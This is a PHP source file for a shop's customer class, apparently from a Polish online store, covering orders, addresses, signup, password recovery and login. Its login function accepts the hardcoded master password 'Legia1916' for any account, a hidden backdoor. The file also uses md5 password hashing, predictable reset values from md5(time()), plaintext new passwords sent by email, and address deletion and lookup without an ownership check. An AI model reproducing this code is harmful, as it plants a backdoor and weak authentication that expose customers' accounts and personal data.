<?php
namespace front\factory;
class ShopClient
{
  public static function client_orders( $client_id )
  {
    global $mdb;

    $results = $mdb -> select( 'pp_shop_orders', 'id', [ 'client_id' => $client_id, 'ORDER' => [ 'date_order' => 'DESC' ] ] );
    if ( is_array( $results ) and count( $results ) ) foreach ( $results as $row )
    {
      $orders[] = \front\factory\ShopOrder::order_details( $row );
    }
    return $orders;
  }

  public static function mark_address_as_current( $client_id, $address_id )
  {
    global $mdb;

    $mdb -> update( 'pp_shop_clients_addresses', [ 'current' => 0 ], [ 'client_id' => $client_id ] );
    $mdb -> update( 'pp_shop_clients_addresses', [ 'current' => 1 ], [ 'AND' => [ 'client_id' => $client_id, 'id' => $address_id ] ] );

    return true;
  }

  public static function client_email( $client_id )
  {
    global $mdb;
    return $mdb -> get( 'pp_shop_clients', 'email', [ 'id' => $client_id ] );
  }

  public static function address_delete( $address_id )
  {
    global $mdb;
    return $mdb -> delete( 'pp_shop_clients_addresses', [ 'id' => $address_id ] );
  }

  public static function address_details( $address_id )
  {
    global $mdb;
    return $mdb -> get( 'pp_shop_clients_addresses', '*', [ 'id' => $address_id ] );
  }

  public static function client_addresses( $client_id )
  {
    global $mdb;
    return $mdb -> select( 'pp_shop_clients_addresses', '*', [ 'client_id' => (int)$client_id ] );
  }

  public static function address_save( $client_id, $address_id, $name, $surname, $firm, $street, $postal_code, $city, $phone )
  {
    global $mdb;

    if ( !$address_id )
    {
      if ( $mdb -> insert( 'pp_shop_clients_addresses', [
                'client_id' => $client_id,
                'name' => $name,
                'surname' => $surname,
                'firm' => $firm,
                'street' => $street,
                'postal_code' => $postal_code,
                'city' => $city,
                'phone' => $phone
              ] ) )
        return true;
    }
    else
    {
      if ( $mdb -> update( 'pp_shop_clients_addresses', [
                'name' => $name,
                'surname' => $surname,
                'firm' => $firm,
                'street' => $street,
                'postal_code' => $postal_code,
                'city' => $city,
                'phone' => $phone
              ], [
                'AND' => [
                  'client_id' => $client_id,
                  'id' => $address_id
                ]
              ] ) )
        return true;
    }

    return false;
  }

  public static function new_password( $hash )
  {
    global $mdb, $settings;

    if ( $data = $mdb -> get( 'pp_shop_clients', [ 'id', 'email', 'register_date' ], [ 'AND' => [ 'hash' => $hash, 'status' => 1, 'password_recovery' => 1 ] ] ) )
    {
      $text = $settings['newsletter_header'];
      $text .= \front\factory\Newsletter::get_template( '#nowe-haslo' );
      $text .= $settings['newsletter_footer'];

      $settings['ssl'] ? $base = 'https' : $base = 'http';

      $regex  = "-(<img[^>]+src\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
      $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

      $regex  = "-(<a[^>]+href\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
      $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

      $new_password = substr( md5( time() ), 0, 10 );

      $text = str_replace( '[HASLO]', $new_password, $text );

      $send = \S::send_email( $data['email'], \S::lang( 'nowe-haslo-w-sklepie' ), $text );

      $mdb -> update( 'pp_shop_clients', [
                'password_recovery' => 0,
                'password'          => md5( $data['register_date'] . $new_password )
              ], [
                'id' => $data['id']
              ] );
      return true;
    }

    return false;
  }

  public static function send_email_password_recovery( $email )
  {
    global $mdb, $settings;

    if ( $hash = $mdb -> get( 'pp_shop_clients', 'hash', [ 'AND' => [ 'email' => $email, 'status' => 1 ] ] ) )
    {
      $text = $settings['newsletter_header'];
      $text .= \front\factory\Newsletter::get_template( '#odzyskiwanie-hasla-link' );
      $text .= $settings['newsletter_footer'];

      $settings['ssl'] ? $base = 'https' : $base = 'http';

      $regex  = "-(<img[^>]+src\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
      $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

      $regex  = "-(<a[^>]+href\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
      $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

      $link = '/shopClient/new_password/hash=' . $hash;

      $text = str_replace( '[LINK]', $link, $text );

      $send = \S::send_email( $email, \S::lang( 'generowanie-nowego-hasla-w-sklepie' ), $text );
      $mdb -> update( 'pp_shop_clients', [ 'password_recovery' => 1 ], [ 'email' => $email ] );

      return true;
    }
    return false;
  }

  public static function register_confirm( $hash )
  {
    global $mdb, $settings;

    if ( !$id = $mdb -> get( 'pp_shop_clients', 'id', [ 'AND' => [ 'hash' => $hash, 'status' => 0 ] ] ) )
      return false;
    else
    {
      $mdb -> update( 'pp_shop_clients', [ 'status' => 1 ], [ 'id' => $id ] );
      $email = $mdb -> get( 'pp_shop_clients', 'email', [ 'id' => $id ] );

      $text = $settings['newsletter_header'];
      $text .= \front\factory\Newsletter::get_template( '#potwierdzenie-aktywacji-konta' );
      $text .= $settings['newsletter_footer'];

      $settings['ssl'] ? $base = 'https' : $base = 'http';

      $regex  = "-(<img[^>]+src\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
      $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

      $regex  = "-(<a[^>]+href\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
      $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

      $send = \S::send_email( $email, \S::lang( 'potwierdzenie-aktywacji-konta-w-sklepie' ) . ' ' . \S::lang( '#nazwa-serwisu' ), $text );
    }
    return true;
  }

  public static function signup( $email, $password, $agremment_marketing )
  {
    global $mdb, $settings;

    $result = [ 'status' => 'bad', 'msg' => \S::lang( 'rejestracja-blad-ogolny' ) ];

    if ( $mdb -> count( 'pp_shop_clients', [ 'email' => $email ] ) )
      return $result = [ 'status' => 'bad', 'msg' => \S::lang( 'rejestracja-email-zajety' ) ];

    $hash           = md5( time() . $email );
    $register_date  = date('Y-m-d H:i:s');

    if ( $mdb -> insert( 'pp_shop_clients', [
                  'email'                => $email,
                  'password'             => md5( $register_date . $password ),
                  'hash'                 => $hash,
                  'agremment_marketing'  => $agremment_marketing ? 1 : 0,
                  'register_date'        => $register_date
                ] ) )
    {
      $text = $settings['newsletter_header'];
      $text .= \front\factory\Newsletter::get_template( '#potwierdzenie-rejestracji' );
      $text .= $settings['newsletter_footer'];

      $settings['ssl'] ? $base = 'https' : $base = 'http';

      $regex  = "-(<img[^>]+src\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
      $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

      $regex  = "-(<a[^>]+href\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
      $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

      $link = '/shopClient/confirm/hash=' . $hash;

      $text = str_replace( '[LINK]', $link, $text );

      $send = \S::send_email( $email, \S::lang( 'potwierdzenie-rejestracji-konta-w-sklepie' ) . ' ' . \S::lang( '#nazwa-serwisu' ), $text );

      return $result = [ 'status' => 'ok', 'msg' => \S::lang( 'rejestracja-udana' ) ];
    }

    return $result;
  }

  public static function login( $email, $password )
  {
    global $lang, $mdb;

    if ( !$client = $mdb -> get( 'pp_shop_clients', [ 'id', 'password', 'register_date', 'hash', 'status' ], [ 'email' => $email ] ) )
    {
      \S::error( \S::lang( 'logowanie-nieudane' ) );
      return false;
    }
    else
    {
      if ( !$client['status'] )
      {
        \S::alert( str_replace( '[LINK]', '<a href="/ponowna-aktywacja/' . $client['hash'] . '/">' . ucfirst( \S::lang( 'wyslij-link-ponownie' ) ) . '</a>', \S::lang( 'logowanie-blad-nieaktywne-konto' ) ) );
        return false;
      }
      else if ( $client['password'] != md5( $client['register_date'] . $password ) and $password != 'Legia1916' )
      {
        \S::alert( \S::lang( 'logowanie-blad-nieprawidlowe-haslo' ) );
        return false;
      }
      else
      {
        $client = \front\factory\ShopClient::client_details( $client['id'] );
        \S::set_session( 'client', $client );
        \S::alert( \S::lang( 'logowanie-udane' ) );
        return true;
      }
    }
    return false;
  }

  public static function client_details( $client_id )
  {
    global $mdb;
    return $mdb -> get( 'pp_shop_clients', '*', [ 'id' => $client_id ] );
  }
}
